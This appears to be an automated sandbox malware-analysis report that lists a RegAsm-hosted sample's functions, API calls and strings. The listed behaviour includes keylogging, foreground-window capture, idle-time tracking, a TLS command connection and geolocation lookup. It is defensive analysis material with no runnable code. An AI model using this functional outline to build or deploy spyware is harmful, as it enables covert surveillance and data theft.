                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Library$AddressFreeProc$Load$DirectorySystem
                      • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                      • API String ID: 2490988753-744132762
                      • Opcode ID: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                      • Instruction ID: d7a8240acd80c680e6a706eb94e62412fcb65bdb905c2e3468e0ccb64a1f64dc
                      • Opcode Fuzzy Hash: 5f1d90fefb9d3b4d80abd47ac0ceceaf8be97214d3ee7f7b1d429d579a686c66
                      • Instruction Fuzzy Hash: 8C31D5B1902315A7C320EF65DC84EDBB7D8AF84744F004A2AF94893250D778DD858BEE
                      Function 0040A726 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • Sleep.KERNEL32(00001388), ref: 0040A740
                        • Part of subcall function 0040A675: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                        • Part of subcall function 0040A675: GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                        • Part of subcall function 0040A675: Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                        • Part of subcall function 0040A675: CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                      • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0040A77C
                      • GetFileAttributesW.KERNEL32(00000000), ref: 0040A78D
                      • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 0040A7A4
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0040A81E
                        • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                      • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00466468,?,00000000,00000000,00000000,00000000,00000000), ref: 0040A927
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                      • String ID: 8SG$8SG$pQG$pQG$PG$PG
                      • API String ID: 3795512280-1152054767
                      • Opcode ID: 9246c906b51f7ef76b321572192bfb08ffa2a7cb594671af2c3c76767c77d2b9
                      • Instruction ID: 265ddfea45d140738b9a7e0f0353a6f5be26653907181caffe3561bb72ed66c0
                      • Opcode Fuzzy Hash: 9246c906b51f7ef76b321572192bfb08ffa2a7cb594671af2c3c76767c77d2b9
                      • Instruction Fuzzy Hash: A7517E716043055ACB09BB32C866ABE739A9F80349F00483FB642B71E2DF7C9D09865E
                      Function 004048C8 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 144networkCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1412 4048c8-4048e8 connect 1413 404a1b-404a1f 1412->1413 1414 4048ee-4048f1 1412->1414 1417 404a21-404a2f WSAGetLastError 1413->1417 1418 404a97 1413->1418 1415 404a17-404a19 1414->1415 1416 4048f7-4048fa 1414->1416 1419 404a99-404a9e 1415->1419 1420 404926-404930 call 420c60 1416->1420 1421 4048fc-404923 call 40531e call 402093 call 41b4ef 1416->1421 1417->1418 1422 404a31-404a34 1417->1422 1418->1419 1432 404941-40494e call 420e8f 1420->1432 1433 404932-40493c 1420->1433 1421->1420 1425 404a71-404a76 1422->1425 1426 404a36-404a6f call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 1422->1426 1429 404a7b-404a94 call 402093 * 2 call 41b4ef 1425->1429 1426->1418 1429->1418 1446 404950-404973 call 402093 * 2 call 41b4ef 1432->1446 1447 404987-404992 call 421a40 1432->1447 1433->1429 1473 404976-404982 call 420ca0 1446->1473 1458 4049c4-4049d1 call 420e06 1447->1458 1459 404994-4049c2 call 402093 * 2 call 41b4ef call 4210b2 1447->1459 1470 4049d3-4049f6 call 402093 * 2 call 41b4ef 1458->1470 1471 4049f9-404a14 CreateEventW * 2 1458->1471 1459->1473 1470->1471 1471->1415 1473->1418
                      APIs
                      • connect.WS2_32(FFFFFFFF,00D14950,00000010), ref: 004048E0
                      • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A00
                      • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000), ref: 00404A0E
                      • WSAGetLastError.WS2_32 ref: 00404A21
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateEvent$ErrorLastLocalTimeconnect
                      • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                      • API String ID: 994465650-2151626615
                      • Opcode ID: d7da62a631306c53fd24c0cc8f944035cfa8a700400d4a180607be604b6ae82f
                      • Instruction ID: c5d57dbf39bf42eeb7f1fe8451fa1a1ddda5cb55b73798f96fdafd5064c5310c
                      • Opcode Fuzzy Hash: d7da62a631306c53fd24c0cc8f944035cfa8a700400d4a180607be604b6ae82f
                      • Instruction Fuzzy Hash: 3E41E8B47406016BD61877BA8D1B53E7A15AB81304B50017FE60267AD3EB7D9C108BDF
                      Function 00404E26 Relevance: 18.1, APIs: 12, Instructions: 65synchronizationCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E38
                      • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E43
                      • CloseHandle.KERNEL32(?), ref: 00404E4C
                      • closesocket.WS2_32(000000FF), ref: 00404E5A
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404E91
                      • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00404EA2
                      • WaitForSingleObject.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00404EA9
                      • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00404EBA
                      • CloseHandle.KERNEL32(?), ref: 00404EBF
                      • CloseHandle.KERNEL32(?), ref: 00404EC4
                      • SetEvent.KERNEL32(?,?,?,?,00000000,?,004051C0,?,?,?,00405159), ref: 00404ED1
                      • CloseHandle.KERNEL32(?), ref: 00404ED6
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                      • String ID:
                      • API String ID: 3658366068-0
                      • Opcode ID: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                      • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                      • Opcode Fuzzy Hash: 0463b1faaa3f7a02a97a49212c31dd980e99cbb732c39645afe60185321c9919
                      • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                      Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • __Init_thread_footer.LIBCMT ref: 0040AD38
                      • Sleep.KERNEL32(000001F4), ref: 0040AD43
                      • GetForegroundWindow.USER32 ref: 0040AD49
                      • GetWindowTextLengthW.USER32 ref: 0040AD52
                      • GetWindowTextW.USER32 ref: 0040AD86
                      • Sleep.KERNEL32(000003E8), ref: 0040AE54
                        • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                      • String ID: [${ User has been idle for $ minutes }$]
                      • API String ID: 911427763-3954389425
                      • Opcode ID: 11deb2e1d1f8f3844bb158fc8ccdcdbeb0aecbc925d29af6944428c3672480c4
                      • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                      • Opcode Fuzzy Hash: 11deb2e1d1f8f3844bb158fc8ccdcdbeb0aecbc925d29af6944428c3672480c4
                      • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                      Function 0040DA34 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 139COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1584 40da34-40da59 call 401f86 1587 40db83-40dc1b call 401f04 GetLongPathNameW call 40417e * 2 call 40ddd1 call 402fa5 * 2 call 401f09 * 5 1584->1587 1588 40da5f 1584->1588 1589 40da70-40da7e call 41b5b4 call 401f13 1588->1589 1590 40da91-40da96 1588->1590 1591 40db51-40db56 1588->1591 1592 40daa5-40daac call 41bfb7 1588->1592 1593 40da66-40da6b 1588->1593 1594 40db58-40db5d 1588->1594 1595 40da9b-40daa0 1588->1595 1596 40db6e 1588->1596 1597 40db5f-40db6c call 43c0cf 1588->1597 1618 40da83 1589->1618 1599 40db73 call 43c0cf 1590->1599 1591->1599 1610 40db00-40db4c call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1592->1610 1611 40daae-40dafe call 40417e call 43c0cf call 40417e call 402fa5 call 401f13 call 401f09 * 2 1592->1611 1593->1599 1594->1599 1595->1599 1596->1599 1597->1596 1612 40db79-40db7e call 409057 1597->1612 1613 40db78 1599->1613 1610->1618 1623 40da87-40da8c call 401f09 1611->1623 1612->1587 1613->1612 1618->1623 1623->1587
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: LongNamePath
                      • String ID: AppData$ProgramData$ProgramFiles$SystemDrive$Temp$UserProfile$WinDir$\SysWOW64$\system32
                      • API String ID: 82841172-425784914
                      • Opcode ID: 1365f17b8726d1e4c30e610cfd72c1161db55c192115e3ec262d1ce1c247f70f
                      • Instruction ID: 0cc8b9c4d8a16f3fd89327f32322cd7e2fd47b59120d3573c9b2d8a81569e3eb
                      • Opcode Fuzzy Hash: 1365f17b8726d1e4c30e610cfd72c1161db55c192115e3ec262d1ce1c247f70f
                      • Instruction Fuzzy Hash: FB414F715082019AC215FB61DC52DAEB3F8AE90718F10053FB546A60E2FFB8AE49C65F
                      Function 0044AC49 Relevance: 12.2, APIs: 8, Instructions: 216COMMONLIBRARYCODE
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1683 44ac49-44ac62 1684 44ac64-44ac74 call 446766 1683->1684 1685 44ac78-44ac7d 1683->1685 1684->1685 1695 44ac76 1684->1695 1687 44ac7f-44ac87 1685->1687 1688 44ac8a-44acae MultiByteToWideChar 1685->1688 1687->1688 1690 44acb4-44acc0 1688->1690 1691 44ae41-44ae54 call 434fcb 1688->1691 1692 44ad14 1690->1692 1693 44acc2-44acd3 1690->1693 1699 44ad16-44ad18 1692->1699 1696 44acd5-44ace4 call 457190 1693->1696 1697 44acf2-44ad03 call 446137 1693->1697 1695->1685 1702 44ae36 1696->1702 1708 44acea-44acf0 1696->1708 1697->1702 1709 44ad09 1697->1709 1699->1702 1703 44ad1e-44ad31 MultiByteToWideChar 1699->1703 1707 44ae38-44ae3f call 435e40 1702->1707 1703->1702 1706 44ad37-44ad49 call 448bb3 1703->1706 1714 44ad4e-44ad52 1706->1714 1707->1691 1713 44ad0f-44ad12 1708->1713 1709->1713 1713->1699 1714->1702 1715 44ad58-44ad5f 1714->1715 1716 44ad61-44ad66 1715->1716 1717 44ad99-44ada5 1715->1717 1716->1707 1718 44ad6c-44ad6e 1716->1718 1719 44ada7-44adb8 1717->1719 1720 44adf1 1717->1720 1718->1702 1721 44ad74-44ad8e call 448bb3 1718->1721 1723 44add3-44ade4 call 446137 1719->1723 1724 44adba-44adc9 call 457190 1719->1724 1722 44adf3-44adf5 1720->1722 1721->1707 1736 44ad94 1721->1736 1726 44adf7-44ae10 call 448bb3 1722->1726 1727 44ae2f-44ae35 call 435e40 1722->1727 1723->1727 1735 44ade6 1723->1735 1724->1727 1739 44adcb-44add1 1724->1739 1726->1727 1741 44ae12-44ae19 1726->1741 1727->1702 1740 44adec-44adef 1735->1740 1736->1702 1739->1740 1740->1722 1742 44ae55-44ae5b 1741->1742 1743 44ae1b-44ae1c 1741->1743 1744 44ae1d-44ae2d WideCharToMultiByte 1742->1744 1743->1744 1744->1727 1745 44ae5d-44ae64 call 435e40 1744->1745 1745->1707
                      APIs
                      • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044ACA3
                      • __alloca_probe_16.LIBCMT ref: 0044ACDB
                      • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,0042DD01,?,?,?,0044AE9A,00000001,00000001,?), ref: 0044AD29
                      • __alloca_probe_16.LIBCMT ref: 0044ADC0
                      • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                      • __freea.LIBCMT ref: 0044AE30
                        • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                      • __freea.LIBCMT ref: 0044AE39
                      • __freea.LIBCMT ref: 0044AE5E
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
                      • String ID:
                      • API String ID: 3864826663-0
                      • Opcode ID: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                      • Instruction ID: b5b01290aead076256688b5938d42e4b2a7c64905c3dece0b68445a47d4ef5f6
                      • Opcode Fuzzy Hash: 12305b3b87d107202002273903900b71ffd2ccf102546581680d8e37d1659883
                      • Instruction Fuzzy Hash: 1F513A72680206AFFB258F64CC41EBF77AAEB44714F24462EFC14D6240EB38DC60875A
                      Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                      Download Yara Rule
                      APIs
                      • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                      • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                      • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                      • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                      • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                      Strings
                      • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Internet$CloseHandleOpen$FileRead
                      • String ID: http://geoplugin.net/json.gp
                      • API String ID: 3121278467-91888290
                      • Opcode ID: 961cfb38cd55e61572119c0efa1b6417dc8b0c9b1577fd71b4996ae3f28eea1b
                      • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                      • Opcode Fuzzy Hash: 961cfb38cd55e61572119c0efa1b6417dc8b0c9b1577fd71b4996ae3f28eea1b
                      • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                      Function 0041C3F1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                      • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0041C44D
                      • CloseHandle.KERNEL32(00000000), ref: 0041C459
                      • WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C46A
                      • CloseHandle.KERNEL32(00000000), ref: 0041C477
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseHandle$CreatePointerWrite
                      • String ID: hpF
                      • API String ID: 1852769593-151379673
                      • Opcode ID: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                      • Instruction ID: 5cb8be75c3dc4c1e2f747800af3fbfd5a98fa41e64789a84fd548ad7506a8702
                      • Opcode Fuzzy Hash: c16bf2a5e476d7eb9c065cb57b6c83635d373e8a2041914a8f43a70e8d32cf2e
                      • Instruction Fuzzy Hash: B0110471288220FFEA104B24ACD9EFB739CEB46375F10462AF592C22C1C7259C81863A
                      Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                        • Part of subcall function 0041BFB7: IsWow64Process.KERNEL32(00000000,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFCF
                        • Part of subcall function 004135A6: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                        • Part of subcall function 004135A6: RegQueryValueExA.KERNEL32 ref: 004135E7
                        • Part of subcall function 004135A6: RegCloseKey.KERNEL32(?), ref: 004135F2
                      • StrToIntA.SHLWAPI(00000000), ref: 0041B33C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$CloseCurrentOpenQueryValueWow64
                      • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                      • API String ID: 782494840-2070987746
                      • Opcode ID: 4bb90c0f07e29b0526b62701d95bcfb2f6be5e0deda9af741838fbf4b4585177
                      • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                      • Opcode Fuzzy Hash: 4bb90c0f07e29b0526b62701d95bcfb2f6be5e0deda9af741838fbf4b4585177
                      • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                      Function 10008821 Relevance: 9.2, APIs: 6, Instructions: 216COMMON
                      Download Yara Rule
                      APIs
                      • MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,10006FFD,00000000,?,?,?,10008A72,?,?,00000100), ref: 1000887B
                      • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,10008A72,?,?,00000100,5EFC4D8B,?,?), ref: 10008901
                      • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 100089FB
                      • __freea.LIBCMT ref: 10008A08
                        • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                      • __freea.LIBCMT ref: 10008A11
                      • __freea.LIBCMT ref: 10008A36
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide__freea$AllocateHeap
                      • String ID:
                      • API String ID: 1414292761-0
                      • Opcode ID: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                      • Instruction ID: 3f57ce737592ef9202bcebfaa3f65c0582e3f3231b4dd00ae19a895c9b397c34
                      • Opcode Fuzzy Hash: bbd44e65680a142b819532ff26adde273e0ccd3bd0c95f1520c1a5c0857fc469
                      • Instruction Fuzzy Hash: 4F51CF72710216ABFB15CF60CC85EAB37A9FB417D0F11462AFC44D6148EB35EE509BA1
                      Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                      • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                      • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                      • CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$CloseCreateHandleSizeSleep
                      • String ID: XQG
                      • API String ID: 1958988193-3606453820
                      • Opcode ID: ed692bf81f71d99d64d0e48405d0f3cb823898ebec9c5078a7592842c921da17
                      • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                      • Opcode Fuzzy Hash: ed692bf81f71d99d64d0e48405d0f3cb823898ebec9c5078a7592842c921da17
                      • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                      Function 00415AEA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CountEventTick
                      • String ID: !D@$NG
                      • API String ID: 180926312-2721294649
                      • Opcode ID: 20348a133acbee5cf5c63471516370b0d9404e5ba7d8db91c89b1c5483621c42
                      • Instruction ID: 1740d3d485f2be3f914829e5aa2a54ae858af1ae40273f66f7ff2800e9d96298
                      • Opcode Fuzzy Hash: 20348a133acbee5cf5c63471516370b0d9404e5ba7d8db91c89b1c5483621c42
                      • Instruction Fuzzy Hash: 7E51A1316083019AC724FB32D852AEF73A5AF94314F50493FF54A671E2EF3C5949C68A
                      Function 0040A179 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70threadCOMMON
                      Download Yara Rule
                      APIs
                      • CreateThread.KERNEL32(00000000,00000000,0040A27D,?,00000000,00000000), ref: 0040A1FE
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040A20E
                      • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040A21A
                        • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                        • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CreateThread$LocalTimewsprintf
                      • String ID: Offline Keylogger Started
                      • API String ID: 465354869-4114347211
                      • Opcode ID: bde4462d29761b0d23c786235d2939a769aa686a4d808022a739f1360b93890e
                      • Instruction ID: bcf1cfbdc14a627f6781ea3a40f7cea6448602225ce5b2be95dc640702f6c2bd
                      • Opcode Fuzzy Hash: bde4462d29761b0d23c786235d2939a769aa686a4d808022a739f1360b93890e
                      • Instruction Fuzzy Hash: DE1194B12003187AD220B7369C86CBB765DDA8139CB00057FF946222D2EA795D54CAFB
                      Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                      Download Yara Rule
                      APIs
                      • GetLocalTime.KERNEL32(00000001,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404F81
                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404FCD
                      • CreateThread.KERNEL32(00000000,00000000,Function_00005150,?,00000000,00000000), ref: 00404FE0
                      Strings
                      • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Create$EventLocalThreadTime
                      • String ID: KeepAlive | Enabled | Timeout:
                      • API String ID: 2532271599-1507639952
